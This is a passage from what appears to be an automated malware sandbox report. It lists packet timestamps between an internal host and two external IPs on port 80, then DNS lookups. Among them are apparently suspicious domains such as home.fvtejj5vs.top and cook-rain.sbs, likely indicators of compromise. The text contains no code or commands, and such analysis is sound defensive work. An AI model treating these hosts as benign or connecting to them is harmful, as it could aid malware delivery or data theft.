Nov 18, 2024 13:30:08.070887089 CET	49838	80	192.168.2.8	185.215.113.43
Nov 18, 2024 13:30:08.073906898 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.089792967 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.089883089 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.090121984 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.095288992 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968259096 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968324900 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968336105 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968359947 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968378067 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968403101 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968417883 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968437910 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968468904 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968468904 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968477964 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968506098 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968506098 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968544960 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968617916 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968652964 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968660116 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968696117 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.968698978 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.968740940 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.975402117 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.975462914 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.975527048 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.975574970 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.976388931 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.976425886 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.976450920 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.976478100 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:08.977175951 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:08.977229118 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.111927032 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.111948967 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.111974955 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.112010956 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.112046003 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.112078905 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.112093925 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.112118006 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.112144947 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.112164021 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.113030910 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.113068104 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.113104105 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.113118887 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.113146067 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.113151073 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.113168001 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.113202095 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.113382101 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.113418102 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.113447905 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.113470078 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.230804920 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.230845928 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.230868101 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.230886936 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.230905056 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.230922937 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.230942011 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.230961084 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.231004000 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.231041908 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.231492996 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.231561899 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.231647968 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.231702089 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.254321098 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.254362106 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.254492044 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.254524946 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.270378113 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.270417929 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.270453930 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.270529985 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.270550966 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.345252037 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.345346928 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.345385075 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.345421076 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.345458031 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.345478058 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.345494032 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.345510960 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.345541000 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.345551968 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.345587969 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.345598936 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.345635891 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.346189022 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.346225023 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.346246958 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.346259117 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.346266031 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.346304893 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.371407032 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.371443033 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.371475935 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.371547937 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.371565104 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.387048006 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.387061119 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.387072086 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.387130976 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.462209940 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.462223053 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.462234020 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.462239981 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.462248087 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.462255955 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.462397099 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.463047028 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.463115931 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.463310957 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.463381052 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.488579988 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.488600969 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.488611937 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.488625050 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.488660097 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.488692999 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.491079092 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.491090059 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.491136074 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.503992081 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.504008055 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.504080057 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.504673958 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.504686117 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.504730940 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.579375029 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.579443932 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.579466105 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.579480886 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.579494953 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.579514027 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.579529047 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.579540014 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.579917908 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.579931021 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.579972029 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.606290102 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.606306076 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.606317997 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.606329918 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.606342077 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.606354952 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.606380939 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.606400967 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.621483088 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.621526957 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.621541023 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.621556044 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.621606112 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.621606112 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.662911892 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.663000107 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.663022041 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.663069963 CET	49839	80	192.168.2.8	31.41.244.11
Nov 18, 2024 13:30:09.697175980 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.697192907 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.697206020 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.697221041 CET	80	49839	31.41.244.11	192.168.2.8
Nov 18, 2024 13:30:09.697359085 CET	49839	80	192.168.2.8	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 13:29:11.981767893 CET	192.168.2.8	1.1.1.1	0x2af5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:11.981929064 CET	192.168.2.8	1.1.1.1	0xb041	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:20.968238115 CET	192.168.2.8	1.1.1.1	0x9183	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:20.968419075 CET	192.168.2.8	1.1.1.1	0x29cf	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:22.339169979 CET	192.168.2.8	1.1.1.1	0xc85a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:22.339410067 CET	192.168.2.8	1.1.1.1	0x1b00	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 13:29:23.803211927 CET	192.168.2.8	1.1.1.1	0xb8f9	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.803352118 CET	192.168.2.8	1.1.1.1	0xfe2e	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:23.831191063 CET	192.168.2.8	1.1.1.1	0x1d3	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.831320047 CET	192.168.2.8	1.1.1.1	0x3315	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:23.838020086 CET	192.168.2.8	1.1.1.1	0x9e0c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.838285923 CET	192.168.2.8	1.1.1.1	0x9bc8	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:23.840379000 CET	192.168.2.8	1.1.1.1	0xb0ff	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.840509892 CET	192.168.2.8	1.1.1.1	0xfb0a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:23.851005077 CET	192.168.2.8	1.1.1.1	0xd860	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.851171970 CET	192.168.2.8	1.1.1.1	0xe02d	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:25.877038002 CET	192.168.2.8	1.1.1.1	0xbebb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.877176046 CET	192.168.2.8	1.1.1.1	0x57c4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:25.877990961 CET	192.168.2.8	1.1.1.1	0x7a5a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.878741980 CET	192.168.2.8	1.1.1.1	0x9fd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 13:29:25.894731045 CET	192.168.2.8	1.1.1.1	0xfcd7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.894915104 CET	192.168.2.8	1.1.1.1	0x1294	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 13:30:19.052830935 CET	192.168.2.8	1.1.1.1	0x76a7	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:19.052959919 CET	192.168.2.8	1.1.1.1	0x57a6	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 13:30:26.762331009 CET	192.168.2.8	1.1.1.1	0xa6c4	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.219512939 CET	192.168.2.8	1.1.1.1	0x9257	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.219712973 CET	192.168.2.8	1.1.1.1	0xbc71	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 13:30:37.222496033 CET	192.168.2.8	1.1.1.1	0xaa45	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.222635031 CET	192.168.2.8	1.1.1.1	0x2181	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 13:30:37.224016905 CET	192.168.2.8	1.1.1.1	0xb917	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.224153996 CET	192.168.2.8	1.1.1.1	0x59c3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 13:30:53.617995024 CET	192.168.2.8	1.1.1.1	0x75fb	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:53.995928049 CET	192.168.2.8	1.1.1.1	0xfc1a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:30:54.352567911 CET	192.168.2.8	1.1.1.1	0x752b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:54.397021055 CET	192.168.2.8	1.1.1.1	0xc493	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:54.411102057 CET	192.168.2.8	1.1.1.1	0x1af	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:30:55.069677114 CET	192.168.2.8	1.1.1.1	0xc423	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:55.082324982 CET	192.168.2.8	1.1.1.1	0x6d52	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:55.090260029 CET	192.168.2.8	1.1.1.1	0xa955	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:10.886116028 CET	192.168.2.8	1.1.1.1	0x7f87	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:10.886235952 CET	192.168.2.8	1.1.1.1	0xac8f	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 13:31:12.066535950 CET	192.168.2.8	1.1.1.1	0xbf8f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:31:12.343502045 CET	192.168.2.8	1.1.1.1	0x2de8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.437359095 CET	192.168.2.8	1.1.1.1	0x4f87	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.438302040 CET	192.168.2.8	1.1.1.1	0x640e	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.447863102 CET	192.168.2.8	1.1.1.1	0xb8d9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.468597889 CET	192.168.2.8	1.1.1.1	0xcb5d	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:12.493621111 CET	192.168.2.8	1.1.1.1	0x3614	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.497860909 CET	192.168.2.8	1.1.1.1	0x1f8	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.498019934 CET	192.168.2.8	1.1.1.1	0xc986	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.511868954 CET	192.168.2.8	1.1.1.1	0x6bf4	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:31:12.529649973 CET	192.168.2.8	1.1.1.1	0x97c1	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.544938087 CET	192.168.2.8	1.1.1.1	0x8616	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:31:12.554193020 CET	192.168.2.8	1.1.1.1	0x8694	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.595606089 CET	192.168.2.8	1.1.1.1	0x7419	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:31:12.651942968 CET	192.168.2.8	1.1.1.1	0x3260	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.754404068 CET	192.168.2.8	1.1.1.1	0xe292	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.756486893 CET	192.168.2.8	1.1.1.1	0x798e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.764281034 CET	192.168.2.8	1.1.1.1	0x2041	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:12.792356968 CET	192.168.2.8	1.1.1.1	0x7312	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.804815054 CET	192.168.2.8	1.1.1.1	0x695e	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:31:12.997739077 CET	192.168.2.8	1.1.1.1	0x8891	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.997919083 CET	192.168.2.8	1.1.1.1	0x53ce	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.000437975 CET	192.168.2.8	1.1.1.1	0xb1fe	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.822552919 CET	192.168.2.8	1.1.1.1	0xfafd	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.835403919 CET	192.168.2.8	1.1.1.1	0xfb6d	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:13.959722042 CET	192.168.2.8	1.1.1.1	0xb8da	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.959842920 CET	192.168.2.8	1.1.1.1	0x5d96	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 13:31:15.346194983 CET	192.168.2.8	1.1.1.1	0x63a6	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:15.379343033 CET	192.168.2.8	1.1.1.1	0x12bb	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:15.404561996 CET	192.168.2.8	1.1.1.1	0x4eb0	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 13:31:16.603741884 CET	192.168.2.8	1.1.1.1	0x542e	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.603741884 CET	192.168.2.8	1.1.1.1	0xf61f	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.603938103 CET	192.168.2.8	1.1.1.1	0x3021	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.623192072 CET	192.168.2.8	1.1.1.1	0xaf63	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.623192072 CET	192.168.2.8	1.1.1.1	0x9efa	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.623727083 CET	192.168.2.8	1.1.1.1	0xee53	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.639939070 CET	192.168.2.8	1.1.1.1	0xd234	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:16.641182899 CET	192.168.2.8	1.1.1.1	0xa470	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 18, 2024 13:31:16.641346931 CET	192.168.2.8	1.1.1.1	0x6666	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:16.676728010 CET	192.168.2.8	1.1.1.1	0xbb86	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.676938057 CET	192.168.2.8	1.1.1.1	0xc896	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.711265087 CET	192.168.2.8	1.1.1.1	0x9e52	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.711955070 CET	192.168.2.8	1.1.1.1	0x775c	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.732047081 CET	192.168.2.8	1.1.1.1	0xb63c	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 18, 2024 13:31:16.747030020 CET	192.168.2.8	1.1.1.1	0x174c	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:18.650511026 CET	192.168.2.8	1.1.1.1	0xa4bf	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 13:31:28.490504026 CET	192.168.2.8	1.1.1.1	0xd5e5	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:28.490609884 CET	192.168.2.8	1.1.1.1	0x8931	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 13:29:11.988951921 CET	1.1.1.1	192.168.2.8	0x2af5	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
